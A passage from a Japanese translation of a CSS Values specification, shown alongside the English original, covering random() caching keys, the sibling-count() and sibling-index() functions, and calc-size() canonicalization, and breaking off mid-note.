`~random関数$【！the random() and random-item() functions】は，
次に挙げる［
~cache法の意味論
］の下で~random値を生成するものと定義される：
◎
To resolve these issues, the random() and random-item() functions are defined to generate random values under the following caching semantics:
</p>

<ul>
	<li>
<p>
~style内の各`~random関数$ %関数 には，
`~random基底~値@
が結付けられる
— それは：
◎
Each instance of a random function in styles has an associated random base value.
</p>
		<ul>
			<li>
%関数 の `random-value-sharing$t に `fixed$v と伴に `number$t が指定された場合、
それ
◎
If the random function’s &lt;random-value-sharing&gt; is fixed &lt;number&gt;, the random base value is that number.
</li>
			<li>
他の場合、
0 以上 1 未満の範囲に一様に分布する~randomな実数になる。
◎
Otherwise, the random base value is a pseudo-random real number in the range `[0, 1)` (greater than or equal to 0 and less than 1), generated from a uniform distribution,＼
↓ and influenced by the function’s random caching key.
</li>
		</ul>
	</li>
	<li>
<p>
各`~random関数$【の各~利用】は、
`~random~cache用~key@
も指定する。
2 つの`~random関数$の`~random基底~値$は、
【 `number^t として明示的に与えられた場合（前項）を除いて】
互いの`~random~cache用~key$が同じならば同じになり，
異なるならば別個になる
（すなわち，ある新規な~random演算により生成される）
モノトスル
（もちろん、
~randomなので，実際に生産する値は同じになるかもしれないが）。
◎
Each random function also specifies a random caching key. Two random functions with the same random caching key must also have the same random base value; two functions with different random caching keys must have distinct random base values. (That is, generated by a fresh random operation; randomness might of course produce the same actual value.)
</p>

<p>
これを達成するために`~random~cache用~key$を`どう利用する^emかは、
意図的に未指定である。
生成された~random値を そのまま~cacheすることも，
疑似-~random生成器~用の~seedとして利用すること, 等々もできる。
◎
It is intentionally unspecified how the random caching key is used to achieve this. It can literally cache a generated random value, or be used as a seed for a PRNG, etc.
</p>

<p class="trans-note">【
したがって、
`random$f と `random-item$f であっても，
`~random~cache用~key$が同じならば同じ`~random基底~値$を取得することになる
（本当か？）。
】</p>
	</li>
	<li>
<p>
各 `~random~cache用~key$は、
( `名前$rC, `要素~ID$rC, `文書~ID$rC )
が成す`~tuple$である：
◎
A random caching key is a tuple of:
</p>
		<dl>
			<dt>
`名前@rC
（`文字列$）
◎
A string name:＼
</dt>
			<dd>
`random-value-sharing$t 内に `dashed-ident$tv が指定された場合、
その値になる。
◎
the value of the &lt;dashed-ident&gt;, if specified in &lt;random-value-sharing&gt;;＼
</dd>
			<dd>
<p>
他の場合、
次を順に連結した結果になる：
</p>
				<ol>
					<li>
当の`~random関数$を値に利用している~prop %~prop の名前
— 略式~propの展開が関連する場合は，それ`よりも前^emに
</li>
					<li>
1 個の~space
</li>
					<li>
当の`~random関数$が，値の中で %n 個目に利用された`~random関数$とするとき、
%n ~MINUS 1【を表現している最短な`~ASCII数字$並び】
</li>
				</ol>
◎
or else a string of the form "PROPERTY N", where PROPERTY is the name of the property the random function is used in (before shorthand expansion, if relevant), and N is the index of the random function among other random functions in the same property value.
</dd>

			<dt>
`要素~ID@rC
◎
An element ID＼
</dt>
			<dd>
当の関数の `random-value-sharing$t において `match-element$v が指定された場合、
~NULL になる。
◎
↓</dd>
			<dd>
他の場合、
当の【関数を利用している】~styleが適用される`要素$を識別するもの
— 当の`要素$への~JS参照と等価になるもの —
になる。
◎
identifying the element the style is being applied to,＼
or null if match-element is specified in &lt;random-value-sharing&gt;.
</dd>
			<dd class="trans-note">【
当の~styleが疑似要素に適用される場合、
`最終的な出自の要素$が対象になるのか,
本当は “要素または疑似要素を識別するもの” として定義されるべきなのか，
はっきりしない。
】</dd>
			<dt>
`文書~ID@rC
◎
A document ID＼
</dt>
			<dd>
当の【関数を利用している】~styleが属する`文書$を識別するもの
— 当の文書への~JS参照と等価になるもの —
になる。
◎
identifying the Document the styles are from.
</dd>
		</dl>
<p>
`要素~ID$rCの存続期間は、
`文書~ID$rCと同じになるモノトスル。
◎
The "element ID" and "document ID" must have the same lifetimes＼
↑ and equivalence as a JavaScript reference to the Element or Document.
</p>

<p class="trans-note">【
したがって、
当の要素が別の文書へ移動され，再び元の文書へ戻された場合でも、
`要素~ID$rCは，変化しないことになろう。
】</p>

	</li>
	<li>
`~random~cache用~key$と`~random基底~値$は、
`算出d値$の時点に，`継承＠~CASCADE#css-inheritance$よりも前に決定するモノトスル
— ［
ある要素, その子
］に利用された【同じ引数をとる】~random関数が［
前者は継承の時点では（例えば，~layoutに敏感な百分率を包含していることに因り）解決されないが，
後者は即時に解決される
］場合でも，両者の挙動が同じになるよう。
◎
The random caching key and random base value must be determined at computed value time, before inheritance, so that a random function which is unresolved by inheritance time (due to containing, for example, a layout-sensitive percentage) does not have a different behavior on children from one that resolves immediately.
</li>
</ul>

<div class="example">
<p>
例えば，次の~stylesheetにおいては：
◎
For example, in the following stylesheet:
</p>

<pre class="lang-css">
.random-square {
  width: random(--foo match-element, 100px, 500px);
  height: random(--foo match-element, 100px, 500px);
}
</pre>

<p>
2 つの~random関数の`~random~cache用~key$は、
どちらも
( `--foo^l, ~NULL, ある`文書~ID$rC )
になり，一致する。
このことは、
どちらも正確に同じ値に解決されることを意味する
— その結果，
縦幅, 横幅とも同じ［
`100px^v 以上 `500px^v 以下のどこかにある~size
］を伴う正方形になることが保証される。
加えて，
`match-element$v が指定されたので、
`.random-square^css に合致しているどの要素も，同じ~sizeになる
— さらには、
同じ【引数をとる】 `random$f 関数を利用している完全に無関係な~styleも，その値を共有するようになる。
◎
The random caching keys for the functions are identical—​both ("--foo", null, documentID). This means that both will resolve to the exact same value, guaranteeing a square element with a size somewhere between 100px and 500px. Additionally, every .random-square element on the page will have the same size, since match-element was specified. In fact, completely unrelated styles using the same random() function will also end up sharing that value.
</p>

<p>
他方，次の~stylesheetにおいては：
◎
On other hand, in this stylesheet:
</p>

<pre class="lang-css">
.random-rect {
  width: random(100px, 500px);
  height: random(100px, 500px);
}
</pre>

<p>
2 つの関数~用の`~random~cache用~key$は、
既定~用の規則に因り，別個になる
⇒＃
`width$p の値~用には ( `width 1^l, ある`要素~ID$rC, ある`文書~ID$rC ) ／
`height$p の値~用には ( `height 1^l, 別の`要素~ID$rC, 同じ`文書~ID$rC )
◎
The random caching keys for the functions are distinct, due to the defaulting rules: ("width 1", elementID, documentID) for the width value, and ("height 1", elementID, documentID) for the height value.
</p>

<p>
すなわち、
両~関数は別個な~random値に解決され，要素は およそ正方形にならない。
また、
これらの~styleを利用している どの要素も，`異なる^em矩形になる。
◎
This means the two functions will resolve to distinct random values, making it very unlikely for the element to be square. Also, every element using these styles will be a different rectangle.
</p>
</div>

<div class="example">
<p>
`dashed-ident$tv を伴わない`~random関数$が`略式~prop$の値に利用された場合、
`~random~cache用~key$の`名前$rC【！part】には，
当の~propの名前が記録される
— 当の~random関数が展開されるようになる`下位prop$の名前ではなく。
例えば，次の~stylesheetにおいては：
◎
Shorthands are recorded as part of the default random caching key, rather than the longhand the value gets expanded to. For example:
</p>

<pre class="lang-css">
.same-tb-and-rl {
  margin: random(0px, 10px) random(0px, 10px);
}
</pre>

<p>
2 個の~random関数【！instance】~用の［
`~random~cache用~key$における`名前$rC
］は，順に［
`margin 0^l, `margin 1^l
］になる。
展開された後には、［
`margin-top$p と `margin-bottom$p は同じ~random値を共有する
］ことになり［
`margin-left$p と `margin-right$p も同じ~random値を共有する
］ことになるが，
前者と後者は別個な【！different】値になる。
◎
Here, the "name" in the random caching keys is "margin 0" for the first instance and "margin 1" for the second. After expansion, then, margin-top and margin-bottom will share the same random value, and margin-left and margin-right will share a different random value.
</p>
</div>

<div class="example">
<p>
略式~propと下位propを組合せると、
異なる~cache用~keyを生産することになる。
例えば，次の~stylesheetにおいては：
◎
Combining shorthands with longhands will produce different caching keys:
</p>

<pre class="lang-css">
.different-tb-same-rl {
  margin: random(0px, 10px) random(0px, 10px);
  margin-bottom: random(0px, 10px);
}
</pre>

<p>
`margin-bottom$p の値【を成す~random関数】の`~random~cache用~key$の`名前$rCは `margin-bottom 0^l になり，
`margin-top$p のそれ `margin 0^l とは異なるので、［
上端~margin, 下端~margin
］は，異なる~random値になる。
`margin-left$p と `margin-right$p は、
依然として名前 `margin 1^l を共有するので，同じ［
`margin-top^p とは別個な【！third】~random値
］を共有し続ける。
◎
The margin-bottom value has a random caching key "name" of "margin-bottom 0", which is different from the margin-top key of "margin 0", so the top and bottom margins will be different random values. margin-left and margin-right continue to share a third random value, as they still share the name "margin 1".
</p>
</div>

<div class="example">
<p>
`~custom~prop$においては、
その評価の意味論により，
`~random関数$のふるまい【！act】は多少~予測しづらくなり得る。
◎
The evaluation semantics of custom properties can make random functions act a little unpredictably if you’re not careful.
</p>

<p>
例えば，次の~stylesheetにおいて：
◎
For example, in the following:
</p>

<pre class="lang-css">
.square-or-rect {
  --size: random(100px, 500px);
  width: var(--size);
  height: var(--size);
}
</pre>

<p>
`--size^p は［
`登録-済み~custom~prop$でない場合／
登録-済みであるが，その文法は`全称~構文~定義$（ `*^v ）である場合
］：
◎
If --size isn’t a registered custom property, or is registered but with the universal grammar *,＼
</p>
<ul>
	<li>
当の `random$f 関数は，
`--size^p においては評価されない
（ `random^f 関数としてすら認識されない）ので、
`random-value-sharing$t において `dashed-ident$tv が省略された場合の既定の規則は適用されない。
代わりに，［
`width$p ／ `height$p
］の中へ代入されるときに評価されるので、
それぞれが別個な`~random~cache用~key$を取得する
— その結果、
~randomな正方形ではなく~randomな`矩形^emを定義するようになる。
◎
the random() function isn’t evaluated (or even recognized *as* a random() function) in --size, so the default rules for an omitted &lt;dashed-ident&gt; in the &lt;random-value-sharing&gt; isn’t applied. Instead, it’s evaluated when it’s substituted into width and height, so each gets a distinct random caching key, and this ends up defining a random rectangle, rather than a square.
</li>
	<li>
類似に，
`random-value-sharing$t に `match-element$v が指定された場合、
`要素~ID$rCは，実際に代入が起こるまでは決定されない
— それは、
`--size^p が複数個の要素を通して継承された`後^emかもしれない。
それらの要素が `var(--size)^v を利用している場合、
それらの先祖で定義された値を共有することなく，
それぞれが別個な~random値を取得するようになる。
◎
Similarly, a match-element in the &lt;random-value-sharing&gt; won’t determine its "element identifier" until substitution actually happens, which might be after --size has inherited through multiple elements, so again multiple elements using var(--size) would end up with distinct random values rather than sharing one value defined on their ancestor.
</li>
</ul>

<p>
最初に挙げた課題は、
欲されるなら，明示的に `dashed-ident$tv を指定することにより解決できる
— 既定~用の規則に依拠することなく。
◎
The first issue can be resolved, if desired, by specifying a &lt;dashed-ident&gt; explicitly, rather than relying on the defaulting rules.
</p>

<p>
どちらの課題も，`全称~構文~定義$でない文法を伴う`登録-済み~custom~prop$を利用して解決できる
— その値は，それが宣言された要素の下で構文解析され評価され、
その結果，［
当の `random$f 関数は、
当の要素が当の~propを継承する前に解決される
］ことになる。
◎
Both issues can be resolved by instead using a registered custom property with a non-universal grammar, so its value is parsed and evaluated on the element it’s declared on, and the random() function will be resolved on the element before it inherits.
</p>
</div>

		</section>
	</section>
	<section id="tree-counting">
<h2 title="Tree Counting Functions: the sibling-count() and sibling-index() notations">9. ~tree計数~関数： `sibling-count^f, `sibling-index^f 記法</h2>

<p>
`sibling-count@f
`関数-記法$は、
この記法を利用した要素の親の子~群を成す`要素$の総数を `integer$t として表現する。
◎
The sibling-count() functional notation represents, as an &lt;integer&gt;, the total number of child elements in the parent of the element on which the notation is used.
</p>

<p>
`sibling-index@f
`関数-記法$は、［
この記法を利用した要素は，その親の子~群を成す何個目の要素なのか
］を
— `nth-child()$ps と同様に 1 から数える —
`integer$t として表現する。
◎
The sibling-index() functional notation represents, as an &lt;integer&gt;, the index of the element on which the notation is used among the children of its parent. Like :nth-child(), sibling-index() is 1-indexed.
</p>

<p class="note">注記：
`counter$f 関数は，
`sibling-index$f と類似な能を供せるが、
それは， `integer$t ではなく `string$t を返す。
◎
Note: The counter() function can provide similar abilities as sibling-index(), but returns a &lt;string&gt; rather than an &lt;integer&gt;.
</p>

<p>
これらの~tree計数~関数が，`要素が裏にある疑似要素$
— それは，ある本物の要素として動作する —
に利用されたときは、
当の本物の要素に指定されたかのように解決される。
他の疑似要素に利用されたときは、
その`出自の要素$に指定されたかのように解決される。
従って，それが入子な疑似要素【`下位-疑似要素$】であるならば、
当の関数の解決は［
本物の要素【`最終的な出自の要素$】が見出されるまで，
`出自の要素$を再帰的に~~遡る
］ことになる。
◎
When used on an element-backed pseudo-element which is also a real element, the tree counting functions resolve for that real element.＼
For other pseudo elements, they resolve as if they were resolved against the originating element. It follows that for nested pseudo elements the resolution will recursively walk the originating elements until a real element is found.
</p>

<p>
~tree計数~関数（の値）は、
`~tree視野な参照$であり，
その解決-対象
— 上で述べた本物の要素 — 
用の`~tree視野な名前$を暗黙的に参照する†。
これは、
~tree情報を外縁`~tree$【`~light~tree$】へ漏洩しないよう行われる。
~tree計数~関数の視野が［
解決-対象から相対的に外縁な`~tree$
］に絞られる場合、
常に 0 に解決されることになる。
◎
A tree counting function is a tree-scoped reference where it references an implicit tree-scoped name for the element it resolves against. This is done to not leak tree information to an outer tree. A tree counting function that is scoped to an outer tree relative to the element it resolves against, will alway resolve to 0.
</p>

<p class="trans-note">【†
これらには、
参照する名前は定義されないが，
“本物の要素を参照する何か” として働く
— ここでの用語 “~tree視野な” は、
いくぶん比喩的に利用されている。
】</p>

<div class="example">
<p>
疑似要素における `sibling-index$f がどう解決されるかを示す例
— 当の［
規則／要素
］が異なる`~tree$から来ている場合も含めて：
◎
Examples of how sibling-index() resolves for pseudo elements, and when the rule and the element come from different trees:
</p>

<pre class="lang-css">
#target::before {
  /* <span class="comment">
`#target^css の `sibling-index^f に基づく
◎
Based on the sibling-index() of #target
</span> */
  width: calc(sibling-index() * 10px);
}
#target::before::marker {
  /* <span class="comment">
`#target^css の `sibling-index^f に基づく
◎
Based on the sibling-index() of #target
</span> */
  width: calc(sibling-index() * 10px);
}
::slotted(*)::before {
  /* <span class="comment">
外縁~treeに在る［
~slotにアテガわれた要素
］の `sibling-index^f に基づく
◎
Based on the sibling-index() of the slotted element - outer tree
</span> */
  width: calc(sibling-index() * 10px);
}
::part(my-part) {
  /* <span class="comment">
内縁~tree【`~shadow~tree$】に在るので `0px^v になる
◎
0px - inner tree
</span> */
  width: calc(sibling-index() * 10px);
}
:host {
  /* <span class="comment">
外縁~treeに在る`~host$の `sibling-index^f に基づく
◎
Based on the hosts sibling-index() - outer tree
</span> */
  width: calc(sibling-index() * 10px);
}
</pre>
</div>

<p class="note">注記：
［
`sibling-count$f,
`sibling-index$f
］は、
他の（`選択子$以外の）~CSSと同様に，
`平坦~化された要素~tree$に対し演算する
◎
Note: Like the rest of CSS (other than selectors), sibling-count() and sibling-index() operate on the flat tree.
</p>

<p class="note">注記：
これらの関数は、
将来においては，拡張され得る
—  `nth-child()$ps と類似に，
子~群を下位集合に~filterするための <var class="prod">of `complex-real-selector-list$t</var> 引数を受容するよう。
◎
Note: These functions may, in the future, be extended to accept an of &lt;complex-real-selector-list&gt; argument, similar to :nth-child(), to filter on a subset of the children.
</p>

	</section>
	<section id="calc-size">
<h2 title="Calculating With Intrinsic Sizes: the calc-size() function">10. 内在的~sizeを伴う計算-法： `calc-size^f 関数</h2>

<p>
`calc$f 関数は、［
2 個の `確定的~size$の合間で遷移するとき／
既存の`確定的~size$を少し調整するとき
］には，申し分なく働く
（例：
`100%^v と `20px^v の中間点は `calc(50% + 10px)^v で得られ,
両~側に~margin `15px^v を伴う `20%^v は `calc(20% + 15px * 2)^v で得られる,
等々）。
が，そのような演算は、［
遷移する／調整する
］よう求まれる~sizeが`内在的~size$である場合には，もはやアリでない
— それには、
実施~上の理由も後方-互換性の理由もある。
◎
When transitioning between two definite sizes, or slightly adjusting an existing definite size, calc() works great: halfway between 100% and 20px is calc(50% + 10px), 20% with a margin of 15px on either side is calc(20% + 15px * 2), etc.
◎
But these operations are no longer possible if the size you want to adjust or transition to/from is an intrinsic size, for both practical and backward-compatibility reasons.＼
</p>

<p>
`calc-size$f 関数は、
内在的~sizeに対し［
安全かつ きちんと定義された仕方で~mathが遂行される
］ことを許容する。
◎
The calc-size() function allows math to be performed on intrinsic sizes in a safe, well-defined way.
</p>

<pre class="prod">
`calc-size()@t
	= calc-size( `calc-size-basis$t, `calc-sum$t )
`calc-size-basis@t
	= `intrinsic-size-keyword$t
	| `calc-size$f
	| `any$vC
	| `calc-sum$t
</pre>

<p>
`intrinsic-size-keyword@t
生成規則は、
当の文脈において許容される どの`内在的~size$~keywordにも合致する。
例えば， `width$p においては、［
`~autoS$v,
`min-content$v,
`stretch$v,
等々
］に合致する。
◎
The &lt;intrinsic-size-keyword&gt; production matches any intrinsic size keywords allowed in the context. For example, in width, it matches auto, min-content, stretch, etc.
</p>

<details class="note">
<summary>
なぜ `calc-size$f は入子にできるか？
◎
Why can calc-size() be nested?
</summary>

<p>
基底s引数【 `calc-size-basis$t 】として `calc-size$f を許容することは、
作者は，基底sとして変数【 `var$f 】を利用できることを意味する
（ `calc-size(var(--foo), size + 20px)^v の様に）
— それは、
当の変数【 `var^f が参照する~custom~propの値】が［
元々，当の~prop用の値として妥当である場合
］に限り，`常に働く^emことになる。
◎
Allowing calc-size() as the basis argument means that authors can use a variable as the basis (like calc-size(var(--foo), size + 20px)) and it will always work as long as the variable was originally valid for the property.
</p>

<p>
同じことを `calc$f だけで行っても働かない
— 例えば，
`--foo^p の値に `calc-size(min-content, size + 20px)^v を指定した場合
（あるいは `min-content^v だけを指定した場合でも）、
`calc( (var(--foo)) + 20px )^v は失敗する。
◎
Doing the same with just calc() doesn’t work - for example, if you have --foo: calc-size(min-content, size + 20px), or even just --foo: min-content, then calc( (var(--foo)) + 20px ) fails.
</p>

<p>
入子ngは［
補間の間, 使用~値の時点
］で単純~化され，消え去るので、
当の基底sは
— 補間や他の効果が生じる時点に先立って —
常に，単純な値になる
— <a href="#simplifying-calc-size">§ `calc-size^f の単純~化-法</a>
を見よ。
◎
The nesting is simplified away during interpolation, and at used-value time, so the basis always ends up as a simple value by the time interpolation and other effects occur; see § 10.1 Simplifying calc-size().
</p>
</details>

<p>
1 個目の引数は、
`~calc-size基底s@
を与える。
2 個目の引数は、
`~calc-size計算式@
を与える。
どちらも、
`calc-sum$t である場合は
⇒＃
`length-percentage$t に`合致して$いなければナラナイ。
`length$t に解決するモノトスル。
◎
The first argument given is the calc-size basis, and the second is the calc-size calculation.＼
For either argument, if a &lt;calc-sum&gt; is given, its type must match &lt;length-percentage&gt;, and it must resolve to a &lt;length&gt;.
</p>

<p>
`~calc-size基底s$が `any$vC でない場合、
`~calc-size計算式$の中では，~keyword
`size@vC
が許容される。
この~keywordは `length$t であり，
`使用~値$の時点で解決される。
◎
Within the calc-size calculation, if the calc-size basis is not any, the keyword size is allowed. This keyword is a &lt;length&gt;, and resolves at used value time.
</p>

<p>
`calc-size$f は、
ある`内在的~size$を表現する。
特定的に、
それは， `length$t `ではない^em
— `calc-size^f を受容するよう求まれる箇所は，どこであれ、
その文法~内に明示的に含めなければナラナイ。
◎
calc-size() represents an intrinsic size. It is specifically not a &lt;length&gt;; any place that wants to accept a calc-size() must explicitly include it in its grammar.
</p>

<details class="note">
<summary>
なぜ `calc$f 内に内在的~size~keywordを許容するだけは済まないのか？
◎
Why not just allow intrinsic keywords in calc()?
</summary>

<p>
理論~上は、
`calc-size$f を導入することなく
— 補間が通常通り働くことを許容するために —
`calc(auto * .5)^v が妥当になるよう定義することもできた。
◎
In theory, rather than introducing calc-size(), we could have defined calc(auto * .5) to be valid, allowing interpolation to work as normal.
</p>

<p>
が、
これには小さな課題がある：
複数の~keywordを併用することは，依然として許容されないが、
そのことは，さほど明白でない
（すなわち、
`calc((min-content + max-content)/2)^v
は適理に見えるが，許容されない）。
◎
This has the minor issue that mixing keywords still wouldn’t be allowed, but it wouldn’t be as obvious (that is, calc((min-content + max-content)/2) looks reasonable, but would be disallowed).
</p>

<p>
より大きな課題は、
これが百分率を滑らかに遷移することを許容しないことにある。
`calc(50%)^v は、
当の文脈において百分率が`確定的~size$になるときは，
`calc(100%)^v が成す~sizeの半分になるが、
そうでない場合には，通例的に `calc(100%)^v と同じ~sizeになる
（当の文脈に依存して， `0px^v になるか `~autoS$v で~sizeされる）。
◎
The larger issue, tho, is that this wouldn’t allow us to smoothly transition percentages. calc(50%) is only half the size of calc(100%) when percentages are definite in the context; if they’re not, the two values will usually be the same size (depending on the context, either 0px or auto-sized).
</p>

<p>
新たな関数として［
計算-対象の~sizeを計算式~自体から明示的に分離するもの
］を利用すれば、
`すべての事例^emで，滑らかな補間が得られるようになる。
◎
Using a new function that explicitly separates the size you’re calculating with from the calculation itself lets us get smooth interpolation in all cases.
</p>

<p>
追加的な考慮として、［
ある要素が内在的に~sizeされるか確定的になるか
］に依存して，
小さくなったり大きくなるような多くの効果が在る。
`calc$f を利用することは、
“要素は内在的に~sizeされたか？” という問いに対する答えが，
ある遷移の途中と終端で異なることを意味する
（ 【 `min-content^v から `20px^v へ遷移させる事例では，進捗~率 0.8 の時点で：】
途中では `calc(min-content * .2 + 20px * .8))^v になり， “はい” になる一方で、
終端では `calc(20px)^v になり， “いいえ” になる）。
その結果、
他では滑らかな遷移が，終了~時には~layoutが急変するようになる。
◎
An additional consideration is that there are many effects, some small and some large, that depend on whether an element is intrinsically sized or definite. Using calc() would mean that the answer to the question "is the element intrinsically-sized" can have one answer in the middle of a transition ("yes", for calc(min-content * .2 + 20px * .8))), but a different answer at the end of the transition ("no", for calc(20px)), causing the layout to jump at the end of an otherwise-smooth transition.
</p>

<p>
（これは、
`opacity$p を `1^v から `0^v へ~animateするときに生じ得る積層~層の変化に類似する
— `1^v 以外の値は積層~文脈を強制するので。
`opacity$p においては、［
`1^v から視覚的に判別-不能でありながら積層~文脈を強制する `.999^v
］へ~animateすることにより対処できる。
が、
内在的か否かを維持することを確保するために，
`calc(auto * .0001)^v へ~animateするよう人々に依頼することは、
それほど適理ではない。）
◎
(This is similar to the stacking-layer changes that can occur when animating from opacity:1 to opacity: 0; any non-1 value forces a stacking context. With opacity you can get around this by animating to .999, which is visually indistinguishable from 1 but forces a stacking context. It’s not as reasonable to ask people to animate to calc(auto * .0001) to ensure it retains its intrinsic-ness.)
</p>

<p>
`calc-size(auto, 20px)^v の様に，［
自身が`内来的^emに内在的~sizeであるものとして識別される新たな関数
］を利用することは、［
実際の~sizeが確定的~長さであるとき
］でも［
~layoutの挙動が時間~全体にわたり安定になるよう保守できる
］ことを意味する。
◎
Again, using a new function that identifies itself as being inherently an intrinsic size, like calc-size(auto, 20px), means we can maintain stable layout behaviors the entire time, even when the actual size is a definite length.
</p>
</details>

		<section id="simplifying-calc-size">
<h3 title="Simplifying calc-size()">10.1. `calc-size^f の単純~化-法</h3>

<p>
`~calc-size計算式$は
（および、
`~calc-size基底s$が `calc-sum$t である場合は，それも）、［
`指定d値$, `算出d値$
］どちらの時点でも，アリな限り単純~化される
— `~math関数$と類似に，
`~level 4$ の `§ 単純~化＠~CSSVAL#calc-simplification$
にて定義されるとおりに。
◎
Similar to math functions, at both specified value and computed value times the calc-size calculation (and the calc-size basis, if it’s a &lt;calc-sum&gt;) are simplified to the extent possible, as defined in CSS Values 4 § 10.10.1 Simplification.
</p>

<div class="algo">
<p>
`~calc-size関数を補間~用に正準-化する@
~algoは、
所与の
( `calc-size$f 関数 %関数 )
に対し：
◎
To canonicalize for interpolation a calc-size() function:
</p>
<div>
<ol>
	<li>
%基底s ~LET %関数 の`~calc-size基底s$
</li>
	<li>
%計算式 ~LET %関数 の`~calc-size計算式$
</li>
	<li>
%正準-化済み基底s ~LET %基底s
</li>
	<li>
%正準-化済み計算式 ~LET %計算式
</li>
	<li>
%挿入~値 ~LET ε
</li>
	<li>
<p>
~IF［
%基底s は `calc-size$f 関数である
］：
</p>
		<ol>
			<li>
%正準-化済み基底s ~SET `~calc-size関数を補間~用に正準-化する$( %基底s の`~calc-size基底s$ )
</li>
			<li>
%挿入~値 ~SET %基底s の`~calc-size計算式$
</li>
		</ol>
	</li>
	<li>
<p>
~ELIF［
%基底s は `calc-sum$t である
］：
</p>
		<ol>
			<li>
~IF［
%基底s の`型$は `length$t に`合致して$いる
（ %基底s は百分率を包含しない）
］
⇒＃
%正準-化済み基底s ~SET `any$vC；
%挿入~値 ~SET %基底s
</li>
			<li>
~ELSE
⇒＃
%正準-化済み基底s ~SET `100%^v；
%挿入~値 ~SET `~calc-size計算式を非~百分率~化する$( %基底s )
</li>
		</ol>
	</li>
	<li>
<p>
~IF［
%挿入~値 ~NEQ ε
］：
</p>
		<ol>
			<li>
%正準-化済み計算式 ~SET `~calc-size計算式の中へ代入する$( %計算式, %挿入~値 ) 
</li>
			<li>
~IF［
%正準-化済み計算式 ~EQ `失敗^i
］
⇒
~RET `失敗^i
</li>
		</ol>
	</li>
	<li>
~RET 次を伴う新たな `calc-size$f 関数
⇒＃
その`~calc-size基底s$ ~SET %正準-化済み基底s
その`~calc-size計算式$ ~SET %正準-化済み計算式
</li>
</ol>
◎
• If the calc-size basis is a calc-size() function itself
•• The calc-size basis of the outer function is replaced with that of the inner function, and the inner function’s calc-size calculation is substituted into the outer function’s calc-size calculation.
• Otherwise, if the calc-size basis is a &lt;calc-sum&gt; whose type matches &lt;length&gt; (no percentage present)
•• Replace the basis with any, and the original basis is substituted into the calc-size calculation.
• Otherwise, if the calc-size basis is any other &lt;calc-sum&gt; (contains a percentage)
•• Replace the basis with 100% and the original basis is de-percentified, then substituted into the calc-size calculation.
◎
(The above is performed recursively, if necessary.)
◎
If any substitute into a calc-size calculation returns failure, the entire operation immediately returns failure.
</div>

<p class="note">注記：
%正準-化済み基底s は、［
~keyword ／ `100%^v
］いずれかになる。
◎
Note: After canonicalization, a calc-size() function will only have a calc-size basis that’s a keyword, or the value 100%.
</p>
</div>

<details class="note">
<summary>
なぜ百分率は，この仕方で単純~化されるか？
◎
Why are percentages simplified in this way?
</summary>

<p>
この百分率~単純~化は、
遷移が線形に働くことを確保する。
◎
This percentage simplification ensures that transitions work linearly.
</p>

<p>
例えば， `100%^v は
— 単純にするため —
`100px^v に等しくなるとする。
◎
For example, say that 100% is 100px, for simplicity.
</p>

<p>
`calc-size(100px, size * 2)^v
（ `200px^v に解決される）
から
`calc-size(50%, size - 20px)^v
（ `30px^v に解決される）
へ［
両~引数（`~calc-size基底s$, `~calc-size計算式$）とも補間してから、
結果の `calc-size^f の［
基底s, 計算式
］に対し，計算式の中へ基底sを代入する
］ことにより遷移させた場合、
中間点では
`calc-size(75px, size * 2 * .5 + (size - 20px) * .5)^v
（ `102.5px^v へ解決される）
になるが，
それは `30px^v から `200px^v までの中間点（ `115px^v ）ではない。
そのように補間すると、
一般に，`二次^emな補間の挙動を与える†。
◎
If you transitioned from `calc-size(100px, size * 2)` (resolves to 200px) to `calc-size(50%, size - 20px)` (resolves to 30px) by interpolating both the arguments, then at the halfway point you’d have `calc-size(75px, size * 2 * .5 + (size - 20px) * .5)` (resolves to 102.5px), which is *not* halfway between 30 and 200 (that would be 115px). Interpolating one argument, then substituting it into another calculation and interpolating that one too, generally gives quadratic interpolation behavior.
</p>

<p class="trans-note">【†
`size$vC ~keywordによる寄与に進捗~率が重ねて乗算され，
結果は進捗~率の二次式になる。
】</p>

<p>
代わりに、
まず，【各 `calc-size^f に対し】基底s引数を計算式~引数の中へ代入する
— その結果
`calc-size(percentage, 100px * 2)^v,
`calc-size(percentage, (size * .5) - 20px)^v
を中間点で補間することで，
`calc-size(percentage, 100px * 2 * .5 + ((size * .5) - 20px) * .5)^v
を取得する
— それは、
期待されるとおり，~~実際に `115px^v に解決される。
遷移における他の地点も類似に線形になる。
◎
Instead, we substitute the basis arg into the calculation arg, so you get `calc-size(percentage, 100px * 2)` and `calc-size(percentage, (size * .5) - 20px)`, and when interpolated, at the halfway point you get `calc-size(percentage, 100px * 2 * .5 + ((size * .5) - 20px) * .5)`, which does indeed resolve to 115px, as expected. Other points in the transition are similarly linear.
</p>
</details>

<div class="algo">
<p>
`~calc-size計算式を非~百分率~化する@
~algoは、
所与の
( `~calc-size計算式$ %計算式 )
に対し：
◎
To de-percentify a calc-size calculation calc:
</p>
<ol>
	<li>
<p>
%計算式 を成す
~EACH( `percentage-token$t %百分率~token )
に対し：
</p>
		<ol>
			<li>
%N ~LET %百分率~token の.値 ~DIV 100
</li>
			<li>
%計算式 の中の %百分率~token を `(size * <var>N</var>)^v に置換する
</li>
		</ol>
◎
Replace every instance of a &lt;percentage-token&gt; in calc with (size * N), where N is the percentage’s value divided by 100.＼
</li>
	<li>
~RET %計算式
◎
Return calc.
</li>
</ol>

<p class="note">注記：
例えば、
`50% + 20px^v は `(size * .5) + 20px^v になる。
◎
Note: For example, 50% + 20px becomes (size * .5) + 20px.
</p>
</div>

<div class="algo">
<p>
`~calc-size計算式の中へ代入する@
~algoは、
所与の
( `~calc-size計算式$ %計算式, 値 %挿入~値 )
に対し：
◎
To substitute into a calc-size calculation calc a value insertion value:
</p>
<ol>
	<li>
~IF［
%計算式 内には `size$vC ~keywordは無い
］
⇒
~RET %計算式
◎
If calc doesn’t have the size keyword in it, do nothing.
</li>
	<li>
%代入-済み計算式 ~LET %計算式 内の
各 `size$vC ~keywordを［
丸括弧で括られた %挿入~値
］に置換した結果
◎
Otherwise, replace every instance of the size keyword in calc with insertion value, wrapped in parentheses.
</li>
	<li>
<p>
~IF［
%代入-済み計算式 は，~UA定義な上限を超える値を生産する
］
⇒
~RET `失敗^i
◎
If this substitution would produce a value larger than an UA-defined limit, return failure.
</p>

<p class="note">注記：
これは、［
変数の代入
］用に定義される［
代入に対する攻撃に抗する保護
］と意図的に一致する
— `CSS-VARIABLES-1$r `§ 長過ぎな代入に対する安全な取扱い＠~CSSVAR#long-substitution$ を見よ。
しかしながら、
`calc-size$f 値が ごく長くなる利用事例は，`~custom~prop$よりもずっと少ないので、
~UAは，より低い~size上限を課すよう望むかもしれない。
◎
